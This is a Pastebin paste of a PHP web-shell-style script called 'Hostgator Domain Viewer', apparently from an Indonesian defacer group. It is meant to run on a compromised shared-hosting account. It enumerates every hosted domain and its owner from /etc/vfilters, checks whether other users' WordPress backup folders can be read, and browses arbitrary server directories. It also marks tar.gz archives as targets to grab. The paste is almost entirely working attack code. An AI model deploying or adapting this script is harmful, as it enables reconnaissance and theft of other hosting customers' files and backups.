Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- error_reporting(0);
- ?>
- <title>Hostgator Domain Viewer</title>
- <style type="text/css">body {background:#333333;color:#cccccc;font-family: 'Courier'}td {border:1px dashed #FF0000;padding:3px;}a {color:#00ff00;text-decoration:none;}th {background: #FF0000;padding:5px;color:#FFFFFF;}h1 {margin:0;}tr:hover {background:#7B241C;}</style>
- <?php
- if(!empty($_GET['dir'])) {
- $path = $_GET['dir'];
- echo '<hr>Current Dir: '.$path.'<hr>';
- $scandir = scandir($path);
- foreach($scandir as $filez) {
- if(is_dir("$path/$filez")) {
- echo '[DIR] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
- }
- else if(preg_match('/(tar.gz)$/', $filez)) {
- echo '[FILE] <a href="?xtract='.$path.'/'.$filez.'" style="color:red;">'.$filez.'</a> <a>[ HAJAR! ]</a><br>';
- }
- else {
- echo '[FILE] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
- }
- }
- }
- else {
- echo '<center>';
- echo '<h1>-=[ Hostgator Domain Viewer ]=-</h1>';
- echo '<small>'.php_uname().'</small>';
- $domaindir = '/etc/vfilters/';
- $domainfile = scandir($domaindir);
- echo "<table width='80%'>\n";
- echo "<tr><th>Domain</th><th>User</th><th>Backupwordpress</th></tr>";
- foreach($domainfile as $domain){
- if(!is_dir($domain) && !preg_match('/^[*.]/', $domain) && !preg_match('/[0-9]$/', $domain)) {
- $user = exec("ls -l $domaindir$domain | awk '{print $3}'");
- echo '<tr><td>'.$domain.'</td><td width="15%" align="center"><small>'.$user.'</small></td>';
- if(is_readable("/home/$user/backupwordpress")){
- echo '<td width="13%" align="center">Yes</td>';
- } else {
- echo '<td width="13%"><center><font color="red">No</font></center></td>';
- }
- echo '</tr>';
- }
- }
- echo "</table>\n";
- echo "<hr>© 2018 - ZeroByte.ID";
- echo '</center>';
- }
- ?>
Add Comment
Please, Sign In to add comment